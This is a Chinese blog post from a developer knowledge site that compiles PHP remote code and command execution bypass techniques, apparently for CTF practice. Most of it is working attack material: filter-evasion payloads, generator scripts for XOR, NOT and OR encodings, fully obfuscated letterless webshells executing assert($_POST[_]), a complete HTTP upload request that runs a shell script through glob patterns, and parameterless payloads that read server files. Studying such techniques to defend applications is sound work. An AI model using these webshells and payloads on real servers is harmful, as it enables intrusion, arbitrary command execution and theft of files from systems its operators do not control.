| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> RCE全覆盖 -> 正文阅读 |
|
[PHP知识库]RCE全覆盖 |
RCE漏洞介绍RCE(Remote Code/Command Execute)远程代码/命令执行:是指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。 漏洞产生原因:在Web应用中开发者为了灵活性,简洁性等会让应用调用代码或者系统命令执行函数去处理,同时没有考虑用户的输入是否可以被控制,造成代码/系统命令执行漏洞 漏洞产生条件:可控变量,漏洞函数 常见场景:
漏洞函数重点就在命令执行函数或者代码执行函数这里,PHP执行系统命令的有几个常用的函数,如:system函数、exec函数、popen函数、passthru、shell_exec函数等,而PHP中常见的代码执行命令则有像: eval() 、 assert() 、 preg_replace() 、${}等,区别就在于命令中传入的参数值,是系统命令或是PHP代码。 现在我们先来总结一下PHP中的这两种函数: PHP命令执行函数
PHP代码执行函数 代码执行漏洞和命令执行漏洞的区别不大,主要是输入内容的区别,命令执行直接执行的就是系统命令,而代码执行则是执行的PHP代码。
绕过!常见绕过这里是一些常见的绕过方式,不只是在RCE当中,大部分的漏洞里的绕过其实是换汤不换药的。RCE这里有些不同的地方就在于,因为是要命令执行,它还牵扯到了很多命令行中的方法来进行绕过。 str_replace() 常见的类似于 过滤空格 一些命令,像 < 、<>、%09(tab)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}
还有一些编码绕过或者编码后在 敏感字符绕过利用编码绕过敏感字符 URL编码绕过 关于 这里涉及到这个 BASE64编码绕过 linux下base64命令用法: base64 [选项]… [文件] 使用 Base64 编码/解码文件或标准输入/输出。 -d, --decode 解码数据 -w, --wrap=字符数 在指定的字符数后自动换行(默认为76),0 为禁用自动换行 利用时要结合管道符
Hex编码绕过 道理其实与上面base相同 利用linux xxd命令。xxd 命令可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。 -r参数:逆向转换,将16进制字符串表示转为实际的数。 -p这里就表示打印,显示出来,但是不-p的话就没有办法执行命令 也可以用 关于内联执行这个概念在上面的反引号处有讲,这里我们可以通过内联执行printf函数来解码hex编码 Oct编码绕过 和上面这种hex类似,也是利用的printf和内联执行 拼接绕过 偶读拼接绕过 也不太明白“偶读”到底是个什么术语,差不多就是把一个参数定义成好几个参数,然后一块使用就相当于绕过了的意思吧。 a=l;b=s;$a$b a=fl;b=ag;cat $a$b 利用.拼接来进行绕过 (sy.(st).em) 其实不太知道这个能用在哪里 用引号绕过 我们可以用引号绕过对关键字的过滤 ca""t => cat mo""re => more in""dex => index ph""p => php 用通配符绕过 可以看到,题目使用 假设flag在/flag中: /?url=127.0.0.1|ca""t%09/fla? /?url=127.0.0.1|ca""t%09/fla* 假设flag在/flag.txt中: /?url=127.0.0.1|ca""t%09/fla???? /?url=127.0.0.1|ca""t%09/fla* 假设flag在/flags/flag.txt中: /?url=127.0.0.1|ca""t%09/fla??/fla???? /?url=127.0.0.1|ca""t%09/fla*/fla* 下面说一下原理: 在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。 在shell命令行中,? 这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。 同理,我们可以知道 在正则表达式中, 当然通配符不止如此,P牛的文章里有崭新的利用通配符的方式,下面会讲。 用反斜杠绕过 反斜杠 也就意味着,我们可以在rce漏洞,过滤掉 用[]匹配绕过关键字过滤 c[a]t => cat mo[r]e => more in[d]ex => index p[h]p => php 无回显RCE没有回显加上命令执行的话很容易就能想到反弹shell,命令本来就该在命令行里嘛。 具体的反弹shell应该去和whoami取一下经:https://xz.aliyun.com/t/9488 无数字字母webshell经典的过滤代码 <?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } 小知识点 PHP短标签 我们知道 此时我们就要使用我们的PHP短标签了,并且在短标签中的代码不需要使用分号。 <? ?> //相当于<?PHP ?> <?= ?> //相当于<?PHP echo ... ?> 例证上面的 PHP5和PHP7的区别
异或 这里就是P牛的第一种方法。 在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。 得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了): <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]); /*这里的整个拼接流程还是比较简单的*/ 下面是忘记了从哪里扒的一个可以打印出来各种字符异或的脚本 <?php $myfile=fopen("xor_rce.txt","w"); $contents=""; for($i=0;$i<256;$i++){ for($j=0;$j<256;$j++){ if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; // 根据题目给的正则表达式修改即可 if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); // 此处范围是将按位或运算得到的字符限定在可见字符范围内 if(ord($c)>=32&ord($c)<=126){ $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ?> 根据这个脚本打印一下参与异或的两个参数和异或出来的字符,然后根据我们的需求去进行查找就可以了,注意一下格式,别漏 #!/usr/bin/python # -*- coding: UTF-8 -*- import requests import urllib from sys import * import os def action(arg): s1="" s2="" for i in arg: f=open("xor_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: # print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"^\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";" print('\n',param) 取反 这里是P牛的方法二,和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。 方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如 echo ~('瞰'{1}); // a echo ~('和'{2}); // s echo ~('和'{2}); // s echo ~('的'{1}); // e echo ~('半'{1}); // r echo ~('始'{2}); // t 随机选择了一些汉字之后得到了如下的姿势 $__=('>'>'<')+('>'>'<'); // $__=2, 利用PHP的弱类型的特点获取数字 $_=$__/$__; // $_=1 $____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); // $____=assert $_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); // $_____=_POST $_=$$_____; // $_=$_POST $____($_[$__]); // assert($_POST[2]) 太强了,属实是把PHP玩明白了。 URL 编码取反绕过 刚才我们介绍的是通过取反汉字来得到我们想要的字母,我们还可以直接对一串恶意代码进行取反然后 URL 编码,在发送 Payload 的时候再次将其取反便可将代码还原,然后将其动态执行。并且,因为是取反,基本上用的都是不可见字符,所以不会触发到正则表达式。 假设我们要构造一个 echo urlencode(~'phpinfo'); 然后再补上括号等就可以代码执行了, (~%8F%97%8F%96%91%99%90)(); // phpinfo(); (~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0); //system(ls /); 抄whoami神一个脚本 <?php //在命令行中运行 fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; 或 P牛师傅没玩这个,他位运算玩腻了,这个其实和勤勉的异或和取反一样,都是基于PHP再位运算中的特性形成的特点。 <?php $myfile = fopen("or_rce.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); }else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); }else{ $hex_j=dechex($j); } $preg = '/[0-9a-z]/i'; //根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); 然后和异或一样写脚本查找 def action(arg): s1="" s2="" for i in arg: f=open("or_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: # print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function: "))+action(input("[+] your command: ")) print('\n',param) 自增绕过 首先看文档,PHP中的自增有一个小特性。 也就是说, 那么,如何拿到一个值为字符串'a'的变量呢? 巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 再取这个字符串的第一个字母,就可以获得'A'了。 利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是 <?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]); 缩减后即,使用时需要进行一次URL编码,shell为 $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); 无数字字母webshell之字符被过滤_ 被过滤 在前文中我们可以看到,很多 Payload 的构造都用到了下划线
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");//xor ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f");//or (~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);//URL取反
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 解释一下这个师傅的绕过手法: ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 即: ${_GET}{%ff}();&%ff=phpinfo//?shell=${_GET}{%ff}();&%ff=phpinfo
如果想要执行带参数的函数比如 ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file // 即: // ${_GET}{%ff}('whoami');&%ff=system // ${_GET}{%ff}('flag.php');&%ff=readfile // ${_GET}{%ff}('flag.php');&%ff=highlight_file 同理,我们也可以直接进行取反: ${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo ${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system 此外,继承于上述原理,我们还可以直接使用反引号执行命令: ?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=ls / 分析下这个 Payload: ?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=ls / 即: ?><?PHP echo `$_GET[%ff]`?>&%ff=ls / 最开头的 ;被过滤 这个就很无所谓了,短标签是不需要分号的。 $ 被过滤 P牛的另一篇文章: 在 PHP 7 中修改了表达式执行的顺序: PHP7前是不允许用 所以很简单了,构造一个可以生成 (~%8F%97%8F%96%91%99%90)(); 也就是刚刚的取反,以及其他位运算 PHP5 大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能。 PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢? 因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、 此时我想到了两个有趣的Linux shell知识点:
那么,如果目标服务器上有一个我们可控的文件,那不就可以利用 这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是 第二个难题接踵而至,执行
那么, 大部分同学对于通配符,可能知道的都只有 其中,glob支持用 /???/???[^-][^.][^.]?[^.]? 现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了 继续研究通配符,跟正则表达式类似,glob支持利用 所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。 翻开ascii码表,可见大写字母位于 上面的几种过滤也不需要了,我们只有这一个文件是最后以大写字母结尾的,临时文件的生成是随机的,多试几次就可以得到最后一个字母是大写的文件了。 /???/????????[@-[] 综合一下,我们的payload就职这样的 ?><?= `. /???/????????[@-[]`?> 上传表单我们可以通过抓包后进行修改得到,payload POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%3f-[]`%3b?> HTTP/1.1 Host: xxx.xxx.xxx.xxx:xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type:multipart/form-data;boundary=--------123 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 109 ----------123 Content-Disposition:form-data;name="file";filename="1.txt" #!/bin/sh ls / ----------123-- 无参数RCE这里有道例题,就是[GXYCTF2019]禁止套娃 if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } preg_replace('/[a-z]+\((?R)?\)/', NULL, $code) pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code)) 对两个正则进行一下分析:
说白了就是传入的参数不能含有参数 scandir('a()')//可以使用,里面没有参数 scandir('123')//不可以使用,里面有参数 那么这个时候,我们要怎么样进行绕过呢? 利用session_id 利用 ?code=eval(hex2bin(session_id(session_start()))); 算一下十六进制, 利用get_defined_vars ()函数
我们通过 end() - 将内部指针指向数组中的最后一个元素,并输出。 next() - 将内部指针指向数组中的下一个元素,并输出。 prev() - 将内部指针指向数组中的上一个元素,并输出。 reset() - 将内部指针指向数组中的第一个元素,并输出。 each() - 返回当前元素的键名和键值,并将内部指针向前移动。 current() -输出数组中的当前元素的值。 构造payload ?code=print_r(current(get_defined_vars()));&b=phpinfo(); 查看最后一个数组,且eval ?code=eval(end(current(get_defined_vars())));&b=phpinfo(); 利用getallheaders()
像这样 细心的朋友肯定会发现,这里有两个 getenv()
getenv() 获取一个环境变量的值,phpinfo() 获取全部的环境变量,其实不是很理解,直接phpinfo()就好了。 var_dump(getenv(phpinfo())); scandir() 这种方法是使用比较多的,相对而言比较多变,各个函数相辅相成。 scandir() //函数返回指定目录中的文件和目录的数组。 localeconv() //返回一包含本地数字及货币格式信息的数组。 current() //返回数组中的单元,默认取第一个值。 pos是current的别名 getcwd() //取得当前工作目录 dirname() //函数返回路径中的目录部分。 array_flip() //交换数组中的键和值,成功时返回交换后的数组 array_rand() //从数组中随机取出一个或多个单元 //array_flip()和array_rand()配合使用可随机返回当前目录下的文件名 //dirname(chdir(dirname()))配合切换文件路径 //current(localeconv())表示. 示例: print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件 show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件 show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件 show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件 show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位 print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看和读取根目录文件 if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //查看和读取根目录文件 phpversion()获取 .
floor() :舍去法取整, sqrt() :平方根, tan() :正切值, cosh() :双曲余弦, sinh() :双曲正弦, ceil() :进一法取整 chr(ord(hebrevc(crypt(phpversion())))) 返回 .
总结:绕过是门学问,要对PHP语言有足够的理解,对各种函数熟练的应用,当然很多的师傅都走在了前面,我们要做的就是把这些整理、归纳好,好好学习研究,争取能自己想到一下新的姿势。 参考自: 远程命令/代码执行漏洞(RCE)总结_WHOAMIAnony的博客-CSDN博客 代码审计之create_function()函数 - 卿先生 - 博客园 https://xz.aliyun.com/t/9360#toc-6 老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户 ???????? |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 | -2024/12/28 13:46:20- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |
数据统计 |